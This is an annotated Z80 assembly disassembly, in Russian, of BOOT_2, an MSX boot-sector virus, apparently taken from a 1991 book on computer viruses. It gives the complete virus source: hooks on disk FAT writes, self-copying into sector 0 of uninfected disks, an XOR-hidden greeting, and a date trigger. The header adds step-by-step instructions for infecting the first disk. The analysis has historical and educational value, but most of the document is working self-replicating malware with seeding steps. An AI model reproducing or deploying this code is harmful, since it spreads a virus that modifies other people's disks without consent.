;       ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬│
;       ┴                 Вирус с кличкой BOOT_2                   ┴
;       ┴ (детектируется программой AUS.COM (Copyright by MAXWOLF) ┴
;       ┴    "!" по классификации Н.Н.Безрукого: RB-256-2          ┴
;       ┴ Дизассемблирован  А.Пином (Andrew Pin)  2-jan-91  12:53p ┴
;       ┌┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┐
;   Приводится текст программы вируса, который до сих пор бродит по дис╨
; кам в Питере и 25 декабря поздравляет Наташу N. с днем рождения.
;   Вообще говоря, автор сказал "в Питере" потому, что в Новосибирске или
; в Омске он не бывал и смог оценить ситуацию с вирусами только в таких
; городах, как Ульяновск, Москва, Коломна и Санкт-Петербург.
;   Этот вирус создан Земцовым и Налимовым (см. гл. III, прил. V - VI) -
; редкий случай, когда авторы вируса не скрывают своих имен !
;
;   Не очень существенное примечание.
;   ┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬
;   Несколько слов о том, как заразить первый диск этим вирусом.
;   Для этого необходимо:
;   1) записать во вторую половину загрузочного сектора текст вируса
; (256 байт);
;   2) содержимое ячеек 01Fh І 024h boot-сектора скопировать в ячейки с
; адресами 14Dh І 152h 0-сектора (6 байт по метке "Rettable" в тексте);
;   3) содержимое ячеек 153h І 158h boot-сектора скопировать в ячейки с
; адресами 01Fh І 024h (6 байт).
;   Только таким путем возможно "выпустить вирус из пробирки" !

        .z80
        .phase  0            ; Для кодирования текстов;
                             ; В памяти программа всегда находится с
                             ; с "круглого" адреса
; Адреса в ПЗУ дисковода. Совпадают на MSX и MSX2
CHPUT   EQU     0408Fh       ; Выдача символа из регистра A на экран
Dsk_I_O EQU     04010h       ; Адрес в ПЗУ подпрограммы дискового
                             ; обмена
DateIn  EQU     0553Ch       ; Выдает в HL дату: D = месяц, E = день
BootPage EQU    0C000h       ; По адресу BootPage загружается половина
                             ; нулевого сектора  диска в момент рестар╨
StEntry EQU     0001Fh       ; та по адресу BootPage + StEntry попадает
                             ; управление после загрузки нулевого сектора
; Адреса системных ячеек DOS
StDMA   EQU     0F23Dh       ; Адрес подпрограмм BDOS (эквивалентно
                             ; 0005h для вызова из слота 3-2)
StDrive EQU     0F2E1h       ; Номер текущего дисковода
HIMEM   EQU     0F34Bh       ; Здесь в момент загрузки системы записана
                             ; верхний адрес свободной памяти
BUFFER  EQU     0F34Dh       ; Адрес одного из буферов DOS; длина буфера
                             ; 512 байт (длина одного сектора)
Begin   EQU     0F351h       ; В момент загрузки системы указывает на
                             ; адрес загрузки 0 сектора; После загруз╨
                             ; ки сюда половина его (байты от (Begin)
                             ; до (Begin)+0FFh переписывается по адресу
                             ; BootPage)
SETROM  EQU     0F368h       ; Признак нахождения в DOS или в BASIC:
                             ; в BASIC содержит ОC3h (команду RET)
; Адреса в области ловушек
Hook    EQU     0F26Dh       ; Ловушка на записи FAT
Hook2   EQU     0FDC7h       ; Ловушка на INITPAT
Hook2Place EQU  0FF11h       ; Место для Hook2
; Константы
.RET    EQU     0C9h
month   EQU     0Ch          ; День, в который срабатывает вирус
day     EQU     19h

; Часть, работающая в момент загрузки системы.
; ┌Назначение:─ захватить 256 байт памяти для размещения вируса, перепи╨
; сать туда весь вирус, подключить ловушки Hook и Hook2 и вернуться.
; Если дата равна дате срабатывания, вызвать "полезный" эффект.
VBeg:
        push    af
        push    de
        push    hl
        ld      de,Rettable-VBeg
        add     hl,de
        ld      de,BootPage+StEntry
        ld      bc,6
        ldir

        ld      hl,(HIMEM)
        ld      l,c            ; Разместились с границы страницы
        dec     h
        ld      (HIMEM),hl     ; Получили 1 страницу
; Переслать тело ловушки на место
        ex      de,hl
        pop     hl
        push    de
        inc     b
        ldir
; Ловушка на записи FAT
        pop     hl
        ld      l,low HookBody
        ld      (Hook+1),hl
        push    hl
        ld      a,0C3h
        ld      (Hook),a
; Ловушка на INITPAT
        ld      (Hook2),a
        ld      l,low Hook2Body
        ld      de,Hook2Place+1
        ld      (Hook2+1),de
        ld      c,Hook2len
        ldir
; Проверить дату
        Call    DateIn
        ld      hl,month*256+day
        xor     a
        sbc     hl,de
        pop     hl
        ld      l,low PutMess
        jr      z,jhl
;
        pop     de
        pop     af
        pop     hl
        jp      BootPage+StEntry
; Для вызова нашей подпрограммы в момент загрузки системы необходимо,
; чтобы в байтах StEntry..StEntry+5 0-го сектора был записан код для
; вызова инициализатора вируса. Именно он и называется "Образец". Но
; после завершения инициализации необходимо выполнить и те действия,
; код для которых в незараженном 0-м секторе находится по данным адре╨
; сам.
; Самый простой способ это сделать - это хранить "старые" 6 байтов и,
; получив управление, переписать их на законное место, и передать затем
; управление по адресу BootRage+StEntry. Именно этот старый код и нахо╨
; дится в таблице Rettable - его туда помещает распространяющая вирус
; часть.
Rettable:
        ds      6
; Образец (тоже 6 байтов)
        push    hl
        ld      hl,(Begin)
        inc     h
jhl:    jp      (hl)
; Собственно ┌текст поздравления.─ Он хранится в обратном порядке с целью
; оптимизации кода. Текст зашифрован, чтобы случайное прочтение 0-го
; сектора не выдало вирус. Для зашифровки используется операция XOR,
; примененная к байту текста и младшему байту адреса
char    MACRO  par
        db     (par) xor low $
        ENDM
        char    0
        char    '!'
        char    'я'
        char    'и'
        char    'н'
        char    'е'
        char    'д'
        char    'ж'
        char    'о'
        char    'р'
        char    ' '
        char    'м'
        char    'е'
        char    'н'
        char    'д'
        char    ' '
        char    'с'
        char    020h+11
        char    020h+13
        char    'Y'
        char    01Bh
        char    'м'
        char    'е'
        char    'я'
        char    'л'
        char    'в'
        char    'а'
        char    'р'
        char    'д'
        char    'з'
        char    'о'
        char    'п'
        char    ' '
        char    'у'
        char    'в'
        char    'е'
        char    'л'
        char    'о'
        char    'г'
        char    'а'
        char    'л'
        char    'Г'
        char    ' '
        char    'у'
        char    'ш'
        char    'а'
        char    'т'
        char    'а'
        char    'Н'
        char    20h+5
        char    20h+11
        char    'Y'
        char    01Bh
; Собственно тело ловушки - полезная работа + размножение
HookBody:
        push    ix
        push    iy
        Call    DateIn
        ld      hl,month*256+day
        xor     a
        sbc     hl,de
        jr      nz,neq
; Видимый эффект вируса - ┌выдача поздравления
PutMess:
        ld      hl,(Hook+1)
Loop:
        dec     l
        ld      a,(hl)
        xor     l
LoopL:  jr      z,LoopL
        Call    CHPUT
        jr      Loop
; ┌Размножение вируса.─ С диска считывается  0-й сектор (незараженный),
; в его вторую половину записывается вирус и устраивается переход
; на него в момент загрузки, затем 0-й сектор записывается назад.
neq:
        or      a
neq1:   ld      d,a
        ld      e,a
        ld      a,(StDrive)
        ld      bc,1F9h
        ld      hl,(BUFFER)   ; Установить адрес обмена равным адресу
        jr      c,Wyzow       ; буфера DOS
        push    hl
        Call    Dsk_I_O
        ld      c,StEntry
        pop     hl
        jr      c,Return
        add     hl,bc
        ld      a,(hl)
        cp      0E5h          ; Если сектор уже заражен, то ничего не
        jr      z,Return      ; делать
;
        ld      de,(Hook+1)   ; Модифицировать сектор
        ld      e,4Dh         ; Сохранение старых 6 байтов считанного
        ld      c,6           ; сектора (байты StEntry..StEntry+5)
        push    hl
        ldir
;
        ex      de,hl         ; Запись кода для перехода
        pop     de            ; в инициализатор вируса
        ld      c,6
        ldir
;
        ld      l,c           ; Перепись самого вируса в байты
        ld      de,(BUFFER)   ; 100h..1FFh считанного сектора
        inc     d
        inc     b
        ldir
;
        xor     a
        scf
        jr      neq1
;
Wyzow:  Call    Dsk_I_O       ; Обращение к подпрограмме дискового
                              ; обмена
Return:                       ; Восстановление старых значений
        pop     iy            ; регистров IX и IY и выход
        pop     ix
        ret
;
; Отключение ловушек при переходе в BASIC. Вызывается из подпрограммы
; INITPAT, которая устанавливает для BASIC режим экрана и начертание сим╨
; волов. Она вызывается всегда при переходе в BASIC, поэтому это удобное
; место для "перехвата" такого перехода с целью отключения вируса
Hook2Body:
        ld      a,(SETROM)
        cp      .RET         ; Каждый 5-й байт равен .RET
        ret     nz
        db      0,0
        ld      a,.RET
        ld      (Hook),a
        ld      a,.RET
        ld      (Hook2),a
        ret
Hook2len EQU   $-Hook2Body
        .dephase
        END

